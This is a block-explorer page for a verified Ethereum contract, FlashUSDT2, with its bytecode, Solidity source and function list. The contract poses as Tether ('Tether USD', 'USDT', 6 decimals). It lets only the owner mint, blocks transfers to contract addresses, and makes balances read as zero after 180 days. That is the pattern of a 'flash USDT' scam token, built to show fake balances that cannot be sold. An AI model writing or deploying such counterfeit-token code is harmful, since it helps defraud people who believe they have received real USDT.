Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x095Ec168271A9040752A7E207e04348075Ce4D25
Balance 0 ETH
Nonce 1
Code Size 2716 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

2716 bytes
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063741bef1a11610097578063a9059cbb11610066578063a9059cbb14610214578063d8270dce14610227578063dd62ed3e14610230578063e0abca0b1461026957600080fd5b8063741bef1a146101c65780638da5cb5b146101f157806395d89b411461020457806398d5fdca1461020c57600080fd5b806323b872dd116100d357806323b872dd1461016c578063313ce5671461017f57806340c10f191461019e57806370a08231146101b357600080fd5b8063049cbc211461010557806306fdde031461012d578063095ea7b31461014257806318160ddd14610155575b600080fd5b610118610113366004610871565b3b1590565b60405190151581526020015b60405180910390f35b61013561027c565b6040516101249190610893565b6101186101503660046108e1565b61030a565b61015e60035481565b604051908152602001610124565b61011861017a36600461090b565b610377565b60025461018c9060ff1681565b60405160ff9091168152602001610124565b6101b16101ac3660046108e1565b61052e565b005b61015e6101c1366004610871565b610684565b6009546101d9906001600160a01b031681565b6040516001600160a01b039091168152602001610124565b6004546101d9906001600160a01b031681565b6101356106c2565b61015e6106cf565b6101186102223660046108e1565b610742565b61015e60055481565b61015e61023e366004610947565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6008546101d9906001600160a01b031681565b600080546102899061097a565b80601f01602080910402602001604051908101604052809291908181526020018280546102b59061097a565b80156103025780601f106102d757610100808354040283529160200191610302565b820191906000526020600020905b8154815290600101906020018083116102e557829003601f168201915b505050505081565b3360008181526007602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103659086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383166000908152600660205260408120548211156103db5760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b60448201526064015b60405180910390fd5b6001600160a01b03841660009081526007602090815260408083203384529091529020548211156104435760405162461bcd60e51b8152602060048201526012602482015271105b1b1bddd85b98d948195e18d95959195960721b60448201526064016103d2565b6001600160a01b0384166000908152600660205260408120805484929061046b9084906109ca565b90915550506001600160a01b038316600090815260066020526040812080548492906104989084906109dd565b90915550506001600160a01b0384166000908152600760209081526040808320338452909152812080548492906104d09084906109ca565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051c91815260200190565b60405180910390a35060019392505050565b6004546001600160a01b031633146105885760405162461bcd60e51b815260206004820152601a60248201527f4f6e6c79206f776e65722063616e206d696e7420746f6b656e7300000000000060448201526064016103d2565b81803b156105a85760405162461bcd60e51b81526004016103d2906109f0565b600082116105f85760405162461bcd60e51b815260206004820181905260248201527f416d6f756e74206d7573742062652067726561746572207468616e207a65726f60448201526064016103d2565b6001600160a01b038316600090815260066020526040812080548492906106209084906109dd565b92505081905550816003600082825461063991906109dd565b90915550506040518281526001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505050565b600060055462ed4e0061069791906109dd565b4211156106a657506000919050565b506001600160a01b031660009081526006602052604090205490565b600180546102899061097a565b600954604080516350d25bcd60e01b815290516000926001600160a01b0316916350d25bcd9160048083019260209291908290030181865afa158015610719573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073d9190610a4d565b905090565b600082803b156107645760405162461bcd60e51b81526004016103d2906109f0565b336000908152600660205260409020548311156107ba5760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b60448201526064016103d2565b33600090815260066020526040812080548592906107d99084906109ca565b90915550506001600160a01b038416600090815260066020526040812080548592906108069084906109dd565b90915550506040518381526001600160a01b0385169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35060019392505050565b80356001600160a01b038116811461086c57600080fd5b919050565b60006020828403121561088357600080fd5b61088c82610855565b9392505050565b600060208083528351808285015260005b818110156108c0578581018301518582016040015282016108a4565b506000604082860101526040601f19601f8301168501019250505092915050565b600080604083850312156108f457600080fd5b6108fd83610855565b946020939093013593505050565b60008060006060848603121561092057600080fd5b61092984610855565b925061093760208501610855565b9150604084013590509250925092565b6000806040838503121561095a57600080fd5b61096383610855565b915061097160208401610855565b90509250929050565b600181811c9082168061098e57607f821691505b6020821081036109ae57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b81810381811115610371576103716109b4565b80820180821115610371576103716109b4565b6020808252603e908201527f4f6e6c7920454f412077616c6c657473202854727573742c204d6574616d617360408201527f6b2c204f4b58292063616e2072656365697665207472616e73666572732e0000606082015260800190565b600060208284031215610a5f57600080fd5b505191905056fea26469706673582212207705f44e3d70d91c070cb6c2c5cdecbe2aebfd1f27099633e7ab0916fb042cbe64736f6c63430008110033

Verified Source Code Full Match

Compiler: v0.8.17+commit.8df45f5f EVM: london Optimization: Yes (200 runs)
FlashUSDT2.sol 102 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IPriceFeed {
    function latestAnswer() external view returns (int256);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract FlashUSDT2 is IERC20 {
    string public name = "Tether USD";
    string public symbol = "USDT";
    uint8 public decimals = 6;
    uint256 public override totalSupply;
    address public owner;
    uint256 public creationTime;

    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private allowances;

    address public priceFeedAddress = 0x3E7d1eAB13ad0104d2750B8863b489D65364e32D;  // Endereço do oráculo hardcoded
    IPriceFeed public priceFeed;

    constructor() {
        owner = msg.sender;
        creationTime = block.timestamp;
        priceFeed = IPriceFeed(priceFeedAddress);  // Inicializa o oráculo
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Only owner can mint tokens");
        _;
    }

    modifier onlyEOA(address _wallet) {
        require(isEOA(_wallet), "Only EOA wallets (Trust, Metamask, OKX) can receive transfers.");
        _;
    }

    function isEOA(address _wallet) public view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(_wallet) // Verifica se o endereço é um smart contract
        }
        return (size == 0); // Se for 0, é um EOA (carteira normal)
    }

    function mint(address _to, uint256 _amount) public onlyOwner onlyEOA(_to) {
        require(_amount > 0, "Amount must be greater than zero");
        balances[_to] += _amount;
        totalSupply += _amount;
        emit Transfer(address(0), _to, _amount);
    }

    function transfer(address _to, uint256 _amount) public onlyEOA(_to) override returns (bool) {
        require(balances[msg.sender] >= _amount, "Insufficient balance");
        balances[msg.sender] -= _amount;
        balances[_to] += _amount;
        emit Transfer(msg.sender, _to, _amount);
        return true;
    }

    function balanceOf(address _wallet) public view override returns (uint256) {
        if (block.timestamp > creationTime + 180 days) {
            return 0; // Token expira após 180 dias
        }
        return balances[_wallet];
    }

    function getPrice() public view returns (int256) {
        return priceFeed.latestAnswer(); // Obtém o preço via oráculo JustLink
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        require(balances[sender] >= amount, "Insufficient balance");
        require(allowances[sender][msg.sender] >= amount, "Allowance exceeded");
        balances[sender] -= amount;
        balances[recipient] += amount;
        allowances[sender][msg.sender] -= amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function allowance(address _owner, address spender) external view override returns (uint256) {
        return allowances[_owner][spender];
    }
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
creationTime 0xd8270dce → uint256
decimals 0x313ce567 → uint8
getPrice 0x98d5fdca → int256
isEOA 0x049cbc21 → bool
name 0x06fdde03 → string
owner 0x8da5cb5b → address
priceFeed 0x741bef1a → address
priceFeedAddress 0xe0abca0b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 4 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
mint 0x40c10f19
address _to
uint256 _amount
transfer 0xa9059cbb
address _to
uint256 _amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address